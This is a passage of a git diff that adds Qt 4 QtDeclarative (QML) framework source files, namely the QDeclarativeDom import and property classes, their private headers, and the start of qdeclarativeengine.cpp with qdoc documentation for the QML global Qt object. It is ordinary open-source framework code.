+ if (d->object) {
+ QDeclarativeParser::Object *obj = 0;
+ if (d->object->defaultProperty &&
+ d->object->defaultProperty->values.count() == 1 &&
+ d->object->defaultProperty->values.at(0)->object)
+ obj = d->object->defaultProperty->values.at(0)->object;
+
+ if (obj) {
+ rv.d->object = obj;
+ rv.d->object->addref();
+ }
+ }
+
+ return rv;
+}
+
+QDeclarativeDomImportPrivate::QDeclarativeDomImportPrivate()
+: type(File)
+{
+}
+
+QDeclarativeDomImportPrivate::~QDeclarativeDomImportPrivate()
+{
+}
+
+/*!
+ \class QDeclarativeDomImport
+ \internal
+ \brief The QDeclarativeDomImport class represents an import statement.
+*/
+
+/*!
+ Construct an empty QDeclarativeDomImport.
+*/
+QDeclarativeDomImport::QDeclarativeDomImport()
+: d(new QDeclarativeDomImportPrivate)
+{
+}
+
+/*!
+ Create a copy of \a other QDeclarativeDomImport.
+*/
+QDeclarativeDomImport::QDeclarativeDomImport(const QDeclarativeDomImport &other)
+: d(other.d)
+{
+}
+
+/*!
+ Destroy the QDeclarativeDomImport.
+*/
+QDeclarativeDomImport::~QDeclarativeDomImport()
+{
+}
+
+/*!
+ Assign \a other to this QDeclarativeDomImport.
+*/
+QDeclarativeDomImport &QDeclarativeDomImport::operator=(const QDeclarativeDomImport &other)
+{
+ d = other.d;
+ return *this;
+}
+
+/*!
+ Returns the type of the import.
+ */
+QDeclarativeDomImport::Type QDeclarativeDomImport::type() const
+{
+ return static_cast<QDeclarativeDomImport::Type>(d->type);
+}
+
+/*!
+ Returns the URI of the import (e.g. 'subdir' or 'com.nokia.Qt')
+ */
+QString QDeclarativeDomImport::uri() const
+{
+ return d->uri;
+}
+
+/*!
+ Returns the version specified by the import. An empty string if no version was specified.
+ */
+QString QDeclarativeDomImport::version() const
+{
+ return d->version;
+}
+
+/*!
+ Returns the (optional) qualifier string (the token following the 'as' keyword) of the import.
+ */
+QString QDeclarativeDomImport::qualifier() const
+{
+ return d->qualifier;
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativedom_p.h b/src/declarative/qml/qdeclarativedom_p.h
new file mode 100644
index 00000000..f8538f97
--- /dev/null
+++ b/src/declarative/qml/qdeclarativedom_p.h
@@ -0,0 +1,362 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEDOM_P_H
+#define QDECLARATIVEDOM_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "qdeclarativeerror.h"
+
+#include <QtCore/qlist.h>
+#include <QtCore/qshareddata.h>
+
+#include <private/qdeclarativeglobal_p.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QString;
+class QByteArray;
+class QDeclarativeDomObject;
+class QDeclarativeDomList;
+class QDeclarativeDomValue;
+class QDeclarativeEngine;
+class QDeclarativeDomComponent;
+class QDeclarativeDomImport;
+class QIODevice;
+
+class QDeclarativeDomDocumentPrivate;
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeDomDocument
+{
+public:
+ QDeclarativeDomDocument();
+ QDeclarativeDomDocument(const QDeclarativeDomDocument &);
+ ~QDeclarativeDomDocument();
+ QDeclarativeDomDocument &operator=(const QDeclarativeDomDocument &);
+
+ QList<QDeclarativeDomImport> imports() const;
+
+ QList<QDeclarativeError> errors() const;
+ bool load(QDeclarativeEngine *, const QByteArray &, const QUrl & = QUrl());
+
+ QDeclarativeDomObject rootObject() const;
+
+private:
+ QSharedDataPointer<QDeclarativeDomDocumentPrivate> d;
+};
+
+class QDeclarativeDomPropertyPrivate;
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeDomProperty
+{
+public:
+ QDeclarativeDomProperty();
+ QDeclarativeDomProperty(const QDeclarativeDomProperty &);
+ ~QDeclarativeDomProperty();
+ QDeclarativeDomProperty &operator=(const QDeclarativeDomProperty &);
+
+ bool isValid() const;
+
+ QByteArray propertyName() const;
+ QList<QByteArray> propertyNameParts() const;
+
+ bool isDefaultProperty() const;
+
+ QDeclarativeDomValue value() const;
+
+ int position() const;
+ int length() const;
+
+private:
+ friend class QDeclarativeDomObject;
+ friend class QDeclarativeDomDynamicProperty;
+ QSharedDataPointer<QDeclarativeDomPropertyPrivate> d;
+};
+
+class QDeclarativeDomDynamicPropertyPrivate;
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeDomDynamicProperty
+{
+public:
+ QDeclarativeDomDynamicProperty();
+ QDeclarativeDomDynamicProperty(const QDeclarativeDomDynamicProperty &);
+ ~QDeclarativeDomDynamicProperty();
+ QDeclarativeDomDynamicProperty &operator=(const QDeclarativeDomDynamicProperty &);
+
+ bool isValid() const;
+
+ QByteArray propertyName() const;
+ int propertyType() const;
+ QByteArray propertyTypeName() const;
+
+ bool isDefaultProperty() const;
+ QDeclarativeDomProperty defaultValue() const;
+
+ bool isAlias() const;
+
+ int position() const;
+ int length() const;
+
+private:
+ friend class QDeclarativeDomObject;
+ QSharedDataPointer<QDeclarativeDomDynamicPropertyPrivate> d;
+};
+
+class QDeclarativeDomObjectPrivate;
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeDomObject
+{
+public:
+ QDeclarativeDomObject();
+ QDeclarativeDomObject(const QDeclarativeDomObject &);
+ ~QDeclarativeDomObject();
+ QDeclarativeDomObject &operator=(const QDeclarativeDomObject &);
+
+ bool isValid() const;
+
+ QByteArray objectType() const;
+ QByteArray objectClassName() const;
+
+ int objectTypeMajorVersion() const;
+ int objectTypeMinorVersion() const;
+
+ QString objectId() const;
+
+ QList<QDeclarativeDomProperty> properties() const;
+ QDeclarativeDomProperty property(const QByteArray &) const;
+
+ QList<QDeclarativeDomDynamicProperty> dynamicProperties() const;
+ QDeclarativeDomDynamicProperty dynamicProperty(const QByteArray &) const;
+
+ bool isCustomType() const;
+ QByteArray customTypeData() const;
+
+ bool isComponent() const;
+ QDeclarativeDomComponent toComponent() const;
+
+ int position() const;
+ int length() const;
+
+ QUrl url() const;
+private:
+ friend class QDeclarativeDomDocument;
+ friend class QDeclarativeDomComponent;
+ friend class QDeclarativeDomValue;
+ friend class QDeclarativeDomValueValueSource;
+ friend class QDeclarativeDomValueValueInterceptor;
+ QSharedDataPointer<QDeclarativeDomObjectPrivate> d;
+};
+
+class QDeclarativeDomValuePrivate;
+class QDeclarativeDomBasicValuePrivate;
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeDomValueLiteral
+{
+public:
+ QDeclarativeDomValueLiteral();
+ QDeclarativeDomValueLiteral(const QDeclarativeDomValueLiteral &);
+ ~QDeclarativeDomValueLiteral();
+ QDeclarativeDomValueLiteral &operator=(const QDeclarativeDomValueLiteral &);
+
+ QString literal() const;
+
+private:
+ friend class QDeclarativeDomValue;
+ QSharedDataPointer<QDeclarativeDomBasicValuePrivate> d;
+};
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeDomValueBinding
+{
+public:
+ QDeclarativeDomValueBinding();
+ QDeclarativeDomValueBinding(const QDeclarativeDomValueBinding &);
+ ~QDeclarativeDomValueBinding();
+ QDeclarativeDomValueBinding &operator=(const QDeclarativeDomValueBinding &);
+
+ QString binding() const;
+
+private:
+ friend class QDeclarativeDomValue;
+ QSharedDataPointer<QDeclarativeDomBasicValuePrivate> d;
+};
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeDomValueValueSource
+{
+public:
+ QDeclarativeDomValueValueSource();
+ QDeclarativeDomValueValueSource(const QDeclarativeDomValueValueSource &);
+ ~QDeclarativeDomValueValueSource();
+ QDeclarativeDomValueValueSource &operator=(const QDeclarativeDomValueValueSource &);
+
+ QDeclarativeDomObject object() const;
+
+private:
+ friend class QDeclarativeDomValue;
+ QSharedDataPointer<QDeclarativeDomBasicValuePrivate> d;
+};
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeDomValueValueInterceptor
+{
+public:
+ QDeclarativeDomValueValueInterceptor();
+ QDeclarativeDomValueValueInterceptor(const QDeclarativeDomValueValueInterceptor &);
+ ~QDeclarativeDomValueValueInterceptor();
+ QDeclarativeDomValueValueInterceptor &operator=(const QDeclarativeDomValueValueInterceptor &);
+
+ QDeclarativeDomObject object() const;
+
+private:
+ friend class QDeclarativeDomValue;
+ QSharedDataPointer<QDeclarativeDomBasicValuePrivate> d;
+};
+
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeDomComponent : public QDeclarativeDomObject
+{
+public:
+ QDeclarativeDomComponent();
+ QDeclarativeDomComponent(const QDeclarativeDomComponent &);
+ ~QDeclarativeDomComponent();
+ QDeclarativeDomComponent &operator=(const QDeclarativeDomComponent &);
+
+ QDeclarativeDomObject componentRoot() const;
+};
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeDomValue
+{
+public:
+ enum Type {
+ Invalid,
+ Literal,
+ PropertyBinding,
+ ValueSource,
+ ValueInterceptor,
+ Object,
+ List
+ };
+
+ QDeclarativeDomValue();
+ QDeclarativeDomValue(const QDeclarativeDomValue &);
+ ~QDeclarativeDomValue();
+ QDeclarativeDomValue &operator=(const QDeclarativeDomValue &);
+
+ Type type() const;
+
+ bool isInvalid() const;
+ bool isLiteral() const;
+ bool isBinding() const;
+ bool isValueSource() const;
+ bool isValueInterceptor() const;
+ bool isObject() const;
+ bool isList() const;
+
+ QDeclarativeDomValueLiteral toLiteral() const;
+ QDeclarativeDomValueBinding toBinding() const;
+ QDeclarativeDomValueValueSource toValueSource() const;
+ QDeclarativeDomValueValueInterceptor toValueInterceptor() const;
+ QDeclarativeDomObject toObject() const;
+ QDeclarativeDomList toList() const;
+
+ int position() const;
+ int length() const;
+
+private:
+ friend class QDeclarativeDomProperty;
+ friend class QDeclarativeDomList;
+ QSharedDataPointer<QDeclarativeDomValuePrivate> d;
+};
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeDomList
+{
+public:
+ QDeclarativeDomList();
+ QDeclarativeDomList(const QDeclarativeDomList &);
+ ~QDeclarativeDomList();
+ QDeclarativeDomList &operator=(const QDeclarativeDomList &);
+
+ QList<QDeclarativeDomValue> values() const;
+
+ int position() const;
+ int length() const;
+
+ QList<int> commaPositions() const;
+
+private:
+ friend class QDeclarativeDomValue;
+ QSharedDataPointer<QDeclarativeDomValuePrivate> d;
+};
+
+class QDeclarativeDomImportPrivate;
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeDomImport
+{
+public:
+ enum Type { Library, File };
+
+ QDeclarativeDomImport();
+ QDeclarativeDomImport(const QDeclarativeDomImport &);
+ ~QDeclarativeDomImport();
+ QDeclarativeDomImport &operator=(const QDeclarativeDomImport &);
+
+ Type type() const;
+ QString uri() const;
+ QString version() const;
+ QString qualifier() const;
+
+private:
+ friend class QDeclarativeDomDocument;
+ QSharedDataPointer<QDeclarativeDomImportPrivate> d;
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEDOM_P_H
diff --git a/src/declarative/qml/qdeclarativedom_p_p.h b/src/declarative/qml/qdeclarativedom_p_p.h
new file mode 100644
index 00000000..720d8289
--- /dev/null
+++ b/src/declarative/qml/qdeclarativedom_p_p.h
@@ -0,0 +1,157 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEDOM_P_P_H
+#define QDECLARATIVEDOM_P_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativeparser_p.h"
+
+#include <QtCore/QtGlobal>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeDomDocumentPrivate : public QSharedData
+{
+public:
+ QDeclarativeDomDocumentPrivate();
+ QDeclarativeDomDocumentPrivate(const QDeclarativeDomDocumentPrivate &o)
+ : QSharedData(o) { qFatal("Not impl"); }
+ ~QDeclarativeDomDocumentPrivate();
+
+ QList<QDeclarativeError> errors;
+ QList<QDeclarativeDomImport> imports;
+ QDeclarativeParser::Object *root;
+ QList<int> automaticSemicolonOffsets;
+};
+
+class QDeclarativeDomObjectPrivate : public QSharedData
+{
+public:
+ QDeclarativeDomObjectPrivate();
+ QDeclarativeDomObjectPrivate(const QDeclarativeDomObjectPrivate &o)
+ : QSharedData(o) { qFatal("Not impl"); }
+ ~QDeclarativeDomObjectPrivate();
+
+ typedef QList<QPair<QDeclarativeParser::Property *, QByteArray> > Properties;
+ Properties properties() const;
+ Properties properties(QDeclarativeParser::Property *) const;
+
+ QDeclarativeParser::Object *object;
+};
+
+class QDeclarativeDomPropertyPrivate : public QSharedData
+{
+public:
+ QDeclarativeDomPropertyPrivate();
+ QDeclarativeDomPropertyPrivate(const QDeclarativeDomPropertyPrivate &o)
+ : QSharedData(o) { qFatal("Not impl"); }
+ ~QDeclarativeDomPropertyPrivate();
+
+ QByteArray propertyName;
+ QDeclarativeParser::Property *property;
+};
+
+class QDeclarativeDomDynamicPropertyPrivate : public QSharedData
+{
+public:
+ QDeclarativeDomDynamicPropertyPrivate();
+ QDeclarativeDomDynamicPropertyPrivate(const QDeclarativeDomDynamicPropertyPrivate &o)
+ : QSharedData(o) { qFatal("Not impl"); }
+ ~QDeclarativeDomDynamicPropertyPrivate();
+
+ bool valid;
+ QDeclarativeParser::Object::DynamicProperty property;
+};
+
+class QDeclarativeDomValuePrivate : public QSharedData
+{
+public:
+ QDeclarativeDomValuePrivate();
+ QDeclarativeDomValuePrivate(const QDeclarativeDomValuePrivate &o)
+ : QSharedData(o) { qFatal("Not impl"); }
+ ~QDeclarativeDomValuePrivate();
+
+ QDeclarativeParser::Property *property;
+ QDeclarativeParser::Value *value;
+};
+
+class QDeclarativeDomBasicValuePrivate : public QSharedData
+{
+public:
+ QDeclarativeDomBasicValuePrivate();
+ QDeclarativeDomBasicValuePrivate(const QDeclarativeDomBasicValuePrivate &o)
+ : QSharedData(o) { qFatal("Not impl"); }
+ ~QDeclarativeDomBasicValuePrivate();
+
+ QDeclarativeParser::Value *value;
+};
+
+class QDeclarativeDomImportPrivate : public QSharedData
+{
+public:
+ QDeclarativeDomImportPrivate();
+ QDeclarativeDomImportPrivate(const QDeclarativeDomImportPrivate &o)
+ : QSharedData(o) { qFatal("Not impl"); }
+ ~QDeclarativeDomImportPrivate();
+
+ enum Type { Library, File };
+
+ Type type;
+ QString uri;
+ QString version;
+ QString qualifier;
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVEDOM_P_P_H
+
diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp
new file mode 100644
index 00000000..39a1733e
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeengine.cpp
@@ -0,0 +1,2523 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativeengine_p.h"
+#include "qdeclarativeengine.h"
+
+#include "private/qdeclarativecontext_p.h"
+#include "private/qdeclarativecompiler_p.h"
+#include "private/qdeclarativeglobalscriptclass_p.h"
+#include "qdeclarative.h"
+#include "qdeclarativecontext.h"
+#include "qdeclarativeexpression.h"
+#include "qdeclarativecomponent.h"
+#include "private/qdeclarativebinding_p_p.h"
+#include "private/qdeclarativevme_p.h"
+#include "private/qdeclarativeenginedebugservice_p.h"
+#include "private/qdeclarativestringconverters_p.h"
+#include "private/qdeclarativexmlhttprequest_p.h"
+#include "private/qdeclarativesqldatabase_p.h"
+#include "private/qdeclarativetypenamescriptclass_p.h"
+#include "private/qdeclarativelistscriptclass_p.h"
+#include "qdeclarativescriptstring.h"
+#include "private/qdeclarativeglobal_p.h"
+#include "private/qdeclarativeworkerscript_p.h"
+#include "private/qdeclarativecomponent_p.h"
+#include "qdeclarativenetworkaccessmanagerfactory.h"
+#include "qdeclarativeimageprovider.h"
+#include "private/qdeclarativedirparser_p.h"
+#include "qdeclarativeextensioninterface.h"
+#include "private/qdeclarativelist_p.h"
+#include "private/qdeclarativetypenamecache_p.h"
+#include "private/qdeclarativeinclude_p.h"
+#include "private/qdeclarativenotifier_p.h"
+#include "private/qdeclarativedebugtrace_p.h"
+#include "private/qdeclarativeapplication_p.h"
+#include "private/qjsdebugservice_p.h"
+
+#include <QtCore/qmetaobject.h>
+#include <QScriptClass>
+#include <QNetworkReply>
+#include <QNetworkRequest>
+#include <QNetworkAccessManager>
+#include <QDesktopServices>
+#include <QTimer>
+#include <QList>
+#include <QPair>
+#include <QDebug>
+#include <QMetaObject>
+#include <QStack>
+#include <QMap>
+#include <QPluginLoader>
+#include <QtGui/qfontdatabase.h>
+#include <QtCore/qlibraryinfo.h>
+#include <QtCore/qthreadstorage.h>
+#include <QtCore/qthread.h>
+#include <QtCore/qcoreapplication.h>
+#include <QtCore/qdir.h>
+#include <QtCore/qmutex.h>
+#include <QtGui/qcolor.h>
+#include <QtGui/qvector3d.h>
+#include <QtGui/qsound.h>
+#include <QtCore/qcryptographichash.h>
+
+#include <private/qobject_p.h>
+#include <private/qscriptdeclarativeclass_p.h>
+
+#include <private/qdeclarativeitemsmodule_p.h>
+#include <private/qdeclarativeutilmodule_p.h>
+
+#ifdef Q_OS_WIN // for %APPDATA%
+#include <qt_windows.h>
+#include <qlibrary.h>
+#include <windows.h>
+
+#define CSIDL_APPDATA 0x001a // <username>\Application Data
+#endif
+
+Q_DECLARE_METATYPE(QDeclarativeProperty)
+
+QT_BEGIN_NAMESPACE
+
+/*!
+ \qmlclass QtObject QObject
+ \ingroup qml-utility-elements
+ \since 4.7
+ \brief The QtObject element is the most basic element in QML.
+
+ The QtObject element is a non-visual element which contains only the
+ objectName property.
+
+ It can be useful to create a QtObject if you need an extremely
+ lightweight element to enclose a set of custom properties:
+
+ \snippet doc/src/snippets/declarative/qtobject.qml 0
+
+ It can also be useful for C++ integration, as it is just a plain
+ QObject. See the QObject documentation for further details.
+*/
+/*!
+ \qmlproperty string QML:QtObject::objectName
+ This property holds the QObject::objectName for this specific object instance.
+
+ This allows a C++ application to locate an item within a QML component
+ using the QObject::findChild() method. For example, the following C++
+ application locates the child \l Rectangle item and dynamically changes its
+ \c color value:
+
+ \qml
+ // MyRect.qml
+
+ import QtQuick 1.0
+
+ Item {
+ width: 200; height: 200
+
+ Rectangle {
+ anchors.fill: parent
+ color: "red"
+ objectName: "myRect"
+ }
+ }
+ \endqml
+
+ \code
+ // main.cpp
+
+ QDeclarativeView view;
+ view.setSource(QUrl::fromLocalFile("MyRect.qml"));
+ view.show();
+
+ QDeclarativeItem *item = view.rootObject()->findChild<QDeclarativeItem*>("myRect");
+ if (item)
+ item->setProperty("color", QColor(Qt::yellow));
+ \endcode
+*/
+
+struct StaticQtMetaObject : public QObject
+{
+ static const QMetaObject *get()
+ { return &static_cast<StaticQtMetaObject*> (0)->staticQtMetaObject; }
+};
+
+static bool qt_QmlQtModule_registered = false;
+bool QDeclarativeEnginePrivate::qml_debugging_enabled = false;
+
+void QDeclarativeEnginePrivate::defineModule()
+{
+ qmlRegisterType<QDeclarativeComponent>("QtQuick",1,0,"Component");
+ qmlRegisterType<QObject>("QtQuick",1,0,"QtObject");
+ qmlRegisterType<QDeclarativeWorkerScript>("QtQuick",1,0,"WorkerScript");
+
+#ifndef QT_NO_IMPORT_QT47_QML
+ qmlRegisterType<QDeclarativeComponent>("Qt",4,7,"Component");
+ qmlRegisterType<QObject>("Qt",4,7,"QtObject");
+ qmlRegisterType<QDeclarativeWorkerScript>("Qt",4,7,"WorkerScript");
+#endif
+
+ qmlRegisterType<QDeclarativeBinding>();
+}
+
+/*!
+\qmlclass QML:Qt QDeclarativeEnginePrivate
+ \ingroup qml-utility-elements
+\brief The QML global Qt object provides useful enums and functions from Qt.
+
+\keyword QmlGlobalQtObject
+
+\brief The \c Qt object provides useful enums and functions from Qt, for use in all QML files.
+
+The \c Qt object is a global object with utility functions, properties and enums.
+
+It is not instantiable; to use it, call the members of the global \c Qt object directly.
+For example:
+
+\qml
+import QtQuick 1.0
+
+Text {
+ color: Qt.rgba(1, 0, 0, 1)
+ text: Qt.md5("hello, world")
+}
+\endqml
+
+
+\section1 Enums
+
+The Qt object contains the enums available in the \l {Qt Namespace}. For example, you can access
+the \l Qt::LeftButton and \l Qt::RightButton enum values as \c Qt.LeftButton and \c Qt.RightButton.
+
+
+\section1 Types
+The Qt object also contains helper functions for creating objects of specific
+data types. This is primarily useful when setting the properties of an item
+when the property has one of the following types:
+
+\list
+\o \c color - use \l{QML:Qt::rgba()}{Qt.rgba()}, \l{QML:Qt::hsla()}{Qt.hsla()}, \l{QML:Qt::darker()}{Qt.darker()}, \l{QML:Qt::lighter()}{Qt.lighter()} or \l{QML:Qt::tint()}{Qt.tint()}
+\o \c rect - use \l{QML:Qt::rect()}{Qt.rect()}
+\o \c point - use \l{QML:Qt::point()}{Qt.point()}
+\o \c size - use \l{QML:Qt::size()}{Qt.size()}
+\o \c vector3d - use \l{QML:Qt::vector3d()}{Qt.vector3d()}
+\endlist
+
+There are also string based constructors for these types. See \l{qdeclarativebasictypes.html}{QML Basic Types} for more information.
+
+\section1 Date/Time Formatters
+
+The Qt object contains several functions for formatting QDateTime, QDate and QTime values.
+
+\list
+ \o \l{QML:Qt::formatDateTime}{string Qt.formatDateTime(datetime date, variant format)}
+ \o \l{QML:Qt::formatDate}{string Qt.formatDate(datetime date, variant format)}
+ \o \l{QML:Qt::formatTime}{string Qt.formatTime(datetime date, variant format)}
+\endlist
+
+The format specification is described at \l{QML:Qt::formatDateTime}{Qt.formatDateTime}.
+
+
+\section1 Dynamic Object Creation
+The following functions on the global object allow you to dynamically create QML
+items from files or strings. See \l{Dynamic Object Management in QML} for an overview
+of their use.
+
+\list
+ \o \l{QML:Qt::createComponent()}{object Qt.createComponent(url)}
+ \o \l{QML:Qt::createQmlObject()}{object Qt.createQmlObject(string qml, object parent, string filepath)}
+\endlist
+*/
+
+
+/*!
+ \qmlproperty object QML:Qt::application
+ \since QtQuick 1.1
+
+ The \c application object provides access to global application state
+ properties shared by many QML components.
+
+ Its properties are:
+
+ \table
+ \row
+ \o \c application.active
+ \o
+ This read-only property indicates whether the application is the top-most and focused
+ application, and the user is able to interact with the application. The property
+ is false when the application is in the background, the device keylock or screen
+ saver is active, the screen backlight is turned off, or the global system dialog
+ is being displayed on top of the application. It can be used for stopping and
+ pausing animations, timers and active processing of data in order to save device
+ battery power and free device memory and processor load when the application is not
+ active.
+
+ \row
+ \o \c application.layoutDirection
+ \o
+ This read-only property can be used to query the default layout direction of the
+ application. On system start-up, the default layout direction depends on the
+ application's language. The property has a value of \c Qt.RightToLeft in locales
+ where text and graphic elements are read from right to left, and \c Qt.LeftToRight
+ where the reading direction flows from left to right. You can bind to this
+ property to customize your application layouts to support both layout directions.
+
+ Possible values are:
+
+ \list
+ \o Qt.LeftToRight - Text and graphics elements should be positioned
+ from left to right.
+ \o Qt.RightToLeft - Text and graphics elements should be positioned
+ from right to left.
+ \endlist
+ \endtable
+
+ The following example uses the \c application object to indicate
+ whether the application is currently active:
+
+ \snippet doc/src/snippets/declarative/application.qml document
+
+*/
+
+
+/*!
+\qmlmethod object Qt::include(string url, jsobject callback)
+
+Includes another JavaScript file. This method can only be used from within JavaScript files,
+and not regular QML files.
+
+This imports all functions from \a url into the current script's namespace.
+
+Qt.include() returns an object that describes the status of the operation. The object has
+a single property, \c {status}, that is set to one of the following values:
+
+\table
+\header \o Symbol \o Value \o Description
+\row \o result.OK \o 0 \o The include completed successfully.
+\row \o result.LOADING \o 1 \o Data is being loaded from the network.
+\row \o result.NETWORK_ERROR \o 2 \o A network error occurred while fetching the url.
+\row \o result.EXCEPTION \o 3 \o A JavaScript exception occurred while executing the included code.
+An additional \c exception property will be set in this case.
+\endtable
+
+The \c status property will be updated as the operation progresses.
+
+If provided, \a callback is invoked when the operation completes. The callback is passed
+the same object as is returned from the Qt.include() call.
+*/
+// Qt.include() is implemented in qdeclarativeinclude.cpp
+
+
+QDeclarativeEnginePrivate::QDeclarativeEnginePrivate(QDeclarativeEngine *e)
+: captureProperties(false), rootContext(0), isDebugging(false),
+ outputWarningsToStdErr(true), contextClass(0), sharedContext(0), sharedScope(0),
+ objectClass(0), valueTypeClass(0), globalClass(0), cleanup(0), erroredBindings(0),
+ inProgressCreations(0), scriptEngine(this), workerScriptEngine(0), componentAttached(0),
+ inBeginCreate(false), networkAccessManager(0), networkAccessManagerFactory(0),
+ typeLoader(e), importDatabase(e), uniqueId(1)
+{
+ if (!qt_QmlQtModule_registered) {
+ qt_QmlQtModule_registered = true;
+ QDeclarativeItemModule::defineModule();
+ QDeclarativeUtilModule::defineModule();
+ QDeclarativeEnginePrivate::defineModule();
+ QDeclarativeValueTypeFactory::registerValueTypes();
+ }
+ globalClass = new QDeclarativeGlobalScriptClass(&scriptEngine);
+}
+
+/*!
+ \qmlmethod url Qt::resolvedUrl(url url)
+ Returns \a url resolved relative to the URL of the caller.
+*/
+QUrl QDeclarativeScriptEngine::resolvedUrl(QScriptContext *context, const QUrl& url)
+{
+ if (p) {
+ QDeclarativeContextData *ctxt = p->getContext(context);
+ if (ctxt)
+ return ctxt->resolvedUrl(url);
+ else
+ return p->getUrl(context).resolved(url);
+ }
+ return baseUrl.resolved(url);
+}
+
+QDeclarativeScriptEngine::QDeclarativeScriptEngine(QDeclarativeEnginePrivate *priv)
+: p(priv), sqlQueryClass(0), namedNodeMapClass(0), nodeListClass(0)
+{
+ // Note that all documentation for stuff put on the global object goes in
+ // doc/src/declarative/globalobject.qdoc
+
+ bool mainthread = priv != 0;
+
+ QScriptValue qtObject =
+ newQMetaObject(StaticQtMetaObject::get());
+ globalObject().setProperty(QLatin1String("Qt"), qtObject);
+
+#ifndef QT_NO_DESKTOPSERVICES
